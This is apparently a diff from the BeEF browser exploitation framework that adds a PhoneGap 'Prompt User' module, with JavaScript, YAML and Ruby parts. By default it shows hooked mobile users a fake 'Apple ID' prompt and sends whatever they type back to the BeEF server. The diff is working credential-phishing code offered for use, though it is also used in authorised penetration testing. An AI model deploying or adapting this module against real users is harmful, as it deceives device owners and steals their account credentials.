class Phonegap_plugin_detection < BeEF::Core::Command
def post_execute
content = {}
content['Result'] = @datastore['result']
save content
end
end

View File

@@ -0,0 +1,29 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
// Phonegap_prompt_user
//
beef.execute(function() {
var title = "<%== @title %>";
var question = "<%== @question %>";
var ans_yes = "<%== @ans_yes %>";
var ans_no = "<%== @ans_no %>";
var result = '';
function onPrompt(results) {
result = "Selected button number " + results.buttonIndex + " result: " + results.input1;
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
}
navigator.notification.prompt(
question,
onPrompt,
title,
[ans_yes,ans_no]
);
});

View File

@@ -0,0 +1,17 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# Phonegap_prompt_user
#
beef:
module:
phonegap_prompt_user:
enable: true
category: "Phonegap"
name: "Prompt User"
description: "Ask device user a question"
authors: ["staregate"]
target:
working: ["All"]

View File

@@ -0,0 +1,46 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
# Phonegap_prompt_user
#
class Phonegap_prompt_user < BeEF::Core::Command
def self.options
return [{
'name' => 'title',
'description' => 'Prompt title',
'ui_label'=>'Title',
'value' => 'Apple ID',
'width' => '300px'
},{
'name' => 'question',
'description' => 'Prompt question',
'ui_label'=>'Question',
'value' => 'Please enter your Apple ID',
'width' => '300px'
},{
'name' => 'ans_yes',
'description' => 'Prompt positive answer button label',
'ui_label'=>'Yes',
'value' => 'Submit',
'width' => '100px'
},{
'name' => 'ans_no',
'description' => 'Prompt negative answer button label',
'ui_label'=>'No',
'value' => 'Cancel',
'width' => '100px'
}]
end
def callback
content = {}
content['Result'] = @datastore['result']
save content
end
end